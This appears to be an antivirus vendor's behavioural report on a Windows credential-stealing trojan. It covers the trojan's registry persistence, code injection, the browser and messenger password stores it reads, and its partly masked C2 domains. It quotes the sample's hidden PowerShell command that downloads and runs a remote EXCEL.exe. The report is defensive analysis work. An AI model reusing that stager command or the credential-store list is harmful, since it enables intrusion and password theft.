Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0' = '%APPDATA%\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0.exe'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0' = '%APPDATA%\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0....
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\Explorer\run] 'L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0' = '%APPDATA%\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\L3Q7J4T2-J8A6-L6O4-...
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
- User Account Control (UAC)
Downloads and executes
- http://es######32-antiviru.ydns.eu/excel.exe as %appdata%\excel.exe
Injects code into
the following system processes:
- %WINDIR%\syswow64\notepad.exe
the following user processes:
- iexplore.exe
Searches for registry branches where third party applications store passwords
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Trillian]
- [<HKCU>\Identities\{91255D00-95D9-49F5-8E84-7C027F5283B7}\Software\Microsoft\Internet Account Manager\Accounts]
- [<HKCU>\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts]
- [<HKCU>\Software\Microsoft\Internet Account Manager\Accounts]
- [<HKCU>\Software\Paltalk]
- [<HKCU>\Software\Google\Google Talk\Accounts]
- [<HKCU>\Software\Mirabilis\ICQ\NewOwners]
- [<HKCU>\Identities\{91255D00-95D9-49F5-8E84-7C027F5283B7}\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts]
- [<HKLM>\Software\Wow6432Node\Mirabilis\ICQ\NewOwners]
- [<HKCU>\Software\AIM\AIMPRO]
- [<HKCU>\Software\America Online\AIM6\Passwords]
- [<HKCU>\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users]
- [<HKCU>\Software\Microsoft\IdentityCRL]
- [<HKCU>\Software\Microsoft\MSNMessenger]
- [<HKLM>\Software\Wow6432Node\Miranda]
- [<HKCU>\Software\Yahoo\Pager]
- [<HKCU>\Software\Microsoft\Windows Live Mail]
Reads files which store third party applications passwords
- %APPDATA%\mozilla\firefox\profiles.ini
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %APPDATA%\opera software\opera stable\login data
Modifies file system
Creates the following files
- %TEMP%\abdtfhghgeghghВќ.sct
- %APPDATA%\excel.exe
- %TEMP%\excel.exe
- %APPDATA%\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0.exe
- %APPDATA%\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0\ut
- %APPDATA%\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0
- %APPDATA%\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0.pas
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %APPDATA%\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0\jmxvxdjna2.txt
- %APPDATA%\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0\jmxvxdjna4.txt
Sets the 'hidden' attribute to the following files
- %APPDATA%\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0.exe
Deletes the following files
- %TEMP%\abdtfhghgeghghВќ.sct
- %TEMP%\excel.exe
- %APPDATA%\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0\jmxvxdjna2.txt
- %APPDATA%\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0\jmxvxdjna4.txt
Modifies the following files
- %TEMP%\user.bmp
Network activity
Connects to
- 'es######32-antiviru.ydns.eu':80
- 'ka#########ivirus.firewall-gateway.net':4000
TCP
HTTP GET requests
- http://es######32-antiviru.ydns.eu/EXCEL.exe
Other
- 'ka#########ivirus.firewall-gateway.net':4000
UDP
- DNS ASK es######32-antiviru.ydns.eu
- DNS ASK ka#########ivirus.firewall-gateway.net
Miscellaneous
Creates and executes the following
- '%APPDATA%\excel.exe'
- '%TEMP%\excel.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://es######32-antiviru.ydns.eu/EXCEL.exe','%APPDATA%\EXCEL.exe');Start-Pr...' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Test-Connection google.com' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Test-Connection google.com
- '%ProgramFiles(x86)%\internet explorer\iexplore.exe' %TEMP%\EXCEL.exe
- '%WINDIR%\syswow64\notepad.exe'
- '%ProgramFiles(x86)%\internet explorer\iexplore.exe' /stext "%APPDATA%\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\jmxvxdjna0.txt"
- '%ProgramFiles(x86)%\internet explorer\iexplore.exe' /stext "%APPDATA%\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\jmxvxdjna1.txt"
- '%ProgramFiles(x86)%\internet explorer\iexplore.exe' /stext "%APPDATA%\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\jmxvxdjna2.txt"
- '%ProgramFiles(x86)%\internet explorer\iexplore.exe' /stext "%APPDATA%\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\jmxvxdjna3.txt"
- '%ProgramFiles(x86)%\internet explorer\iexplore.exe' /stext "%APPDATA%\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\jmxvxdjna4.txt"
